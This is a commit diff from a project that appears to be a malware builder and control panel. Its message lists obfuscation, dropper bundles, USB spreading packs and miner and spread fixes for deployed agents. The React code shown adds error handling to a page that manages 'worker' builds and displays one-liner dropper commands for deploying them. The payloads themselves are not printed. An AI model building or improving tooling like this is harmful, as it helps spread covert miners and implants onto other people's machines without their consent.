fix: 2026-06-04 audit pass — README, USB pack, multi-area fixes

WS ticket dashboard auth, builder universal signing/size limits/fusion obfuscation/dropper bundles, Path Tracer WireGuard topology, SessionGate degraded mode and download timeouts, server bootstrap (data dir, cloudflared dedupe, config port precedence), agent mesh/miner/spread fixes. README refreshed; usb bundle repacked; PROBLEMS.md audit log updated.
This commit is contained in:
AetherForge
2026-06-04 20:41:44 -07:00
parent 6bfce5d5ab
commit 8466c7aa9b
101 changed files with 3369 additions and 1054 deletions

View File

@@ -71,23 +71,27 @@ function CopyButton({ text, label }: { text: string; label: string }) {
);
}
function DeleteButton({ buildId, onDeleted }: { buildId: string; onDeleted: () => void }) {
function DeleteButton({ buildId, onDeleted, onError }: { buildId: string; onDeleted: () => void; onError: (msg: string) => void }) {
const [confirming, setConfirming] = useState(false);
const [busy, setBusy] = useState(false);
const timerRef = useRef<ReturnType<typeof setTimeout> | null>(null);
const handleClick = () => {
const handleClick = async () => {
if (!confirming) {
setConfirming(true);
timerRef.current = setTimeout(() => setConfirming(false), 3000);
} else {
if (timerRef.current) clearTimeout(timerRef.current);
setBusy(true);
api.deleteBuild(buildId).finally(() => {
setBusy(false);
setConfirming(false);
onDeleted();
});
return;
}
if (timerRef.current) clearTimeout(timerRef.current);
setBusy(true);
try {
await api.deleteBuild(buildId);
onDeleted();
} catch (e) {
onError(e instanceof Error ? e.message : 'Failed to delete build');
} finally {
setBusy(false);
setConfirming(false);
}
};
@@ -96,7 +100,7 @@ function DeleteButton({ buildId, onDeleted }: { buildId: string; onDeleted: () =
type="button"
className={`bm-del-btn${confirming ? ' bm-del-btn-confirm' : ''}`}
disabled={busy}
onClick={handleClick}
onClick={() => void handleClick()}
title="Delete this build from server"
>
{busy ? '…' : confirming ? 'Confirm delete' : 'Delete'}
@@ -104,7 +108,17 @@ function DeleteButton({ buildId, onDeleted }: { buildId: string; onDeleted: () =
);
}
function PinButton({ buildId, pinned, onPinned }: { buildId: string; pinned: boolean; onPinned: () => void }) {
function PinButton({
buildId,
pinned,
onPinned,
onError,
}: {
buildId: string;
pinned: boolean;
onPinned: () => void;
onError: (msg: string) => void;
}) {
const [busy, setBusy] = useState(false);
const handleClick = async () => {
@@ -118,7 +132,7 @@ function PinButton({ buildId, pinned, onPinned }: { buildId: string; pinned: boo
}
onPinned();
} catch (e) {
console.error(e);
onError(e instanceof Error ? e.message : pinned ? 'Failed to unpin build' : 'Failed to pin build');
} finally {
setBusy(false);
}
@@ -145,12 +159,14 @@ function BuildCard({
onReforge,
onDeleted,
onPinned,
onActionError,
}: {
build: BuildRecord;
serverBase: string;
onReforge: (b: BuildRecord) => void;
onDeleted: () => void;
onPinned: () => void;
onActionError: (msg: string) => void;
}) {
const downloadUrl = `${window.location.origin}${api.buildDownloadUrl(build.id)}`;
const exeName = build.file_name || build.file_path?.replace(/^.*[/\\]/, '') || `worker-${build.worker_name}`;
@@ -249,7 +265,11 @@ function BuildCard({
{/* ── Dropper one-liners ── */}
<div className="bm-dropper">
<div className="bm-downloads-label font-tech">ONE-LINER DEPLOY (serves latest build)</div>
<div className="bm-downloads-label font-tech">
{build.pinned
? 'ONE-LINER DEPLOY (serves this pinned build)'
: 'ONE-LINER DEPLOY (serves latest build)'}
</div>
<div className="bm-dropper-row">
<span className="bm-dropper-os">Win</span>
<code className="bm-dropper-cmd">{ps1}</code>
@@ -274,7 +294,7 @@ function BuildCard({
<span className="bm-qr-label">Scan to download</span>
</div>
<div className="bm-action-btns">
<PinButton buildId={build.id} pinned={!!build.pinned} onPinned={onPinned} />
<PinButton buildId={build.id} pinned={!!build.pinned} onPinned={onPinned} onError={onActionError} />
<button
type="button"
className="btn btn-secondary bm-reforge-btn"
@@ -282,7 +302,7 @@ function BuildCard({
>
Re-forge
</button>
<DeleteButton buildId={build.id} onDeleted={onDeleted} />
<DeleteButton buildId={build.id} onDeleted={onDeleted} onError={onActionError} />
</div>
</div>
</NeonCard>
@@ -295,28 +315,31 @@ export default function BuildManagerPage() {
const [builds, setBuilds] = useState<BuildRecord[]>([]);
const [loading, setLoading] = useState(true);
const [error, setError] = useState('');
const [serverBase, setServerBase] = useState('');
const [serverBase, setServerBase] = useState(() => window.location.origin.replace(/\/$/, ''));
const navigate = useNavigate();
const applyServerBase = useCallback((suggestedUrl?: string) => {
const pub = suggestedUrl?.trim().replace(/\/$/, '');
setServerBase(pub || window.location.origin.replace(/\/$/, ''));
}, []);
const loadBuilds = useCallback(async () => {
try {
const list = await api.listBuilds();
const [list, info] = await Promise.all([
api.listBuilds(),
api.getServerInfo().catch(() => null),
]);
setBuilds(list);
setError('');
if (info) applyServerBase(info.suggested_url);
else applyServerBase();
} catch (e) {
setError(e instanceof Error ? e.message : 'Failed to load builds');
applyServerBase();
} finally {
setLoading(false);
}
// Load server base URL separately so a slow/hung server-info call
// never blocks the builds list from rendering.
api.getServerInfo()
.then((info) => {
const pub = info?.suggested_url?.trim().replace(/\/$/, '');
if (pub) setServerBase(pub);
})
.catch(() => {/* use window.location.origin fallback already set */});
}, []);
}, [applyServerBase]);
useEffect(() => { loadBuilds(); }, [loadBuilds]);
@@ -375,6 +398,7 @@ export default function BuildManagerPage() {
onReforge={handleReforge}
onDeleted={loadBuilds}
onPinned={loadBuilds}
onActionError={(msg) => setError(msg)}
/>
))}
</div>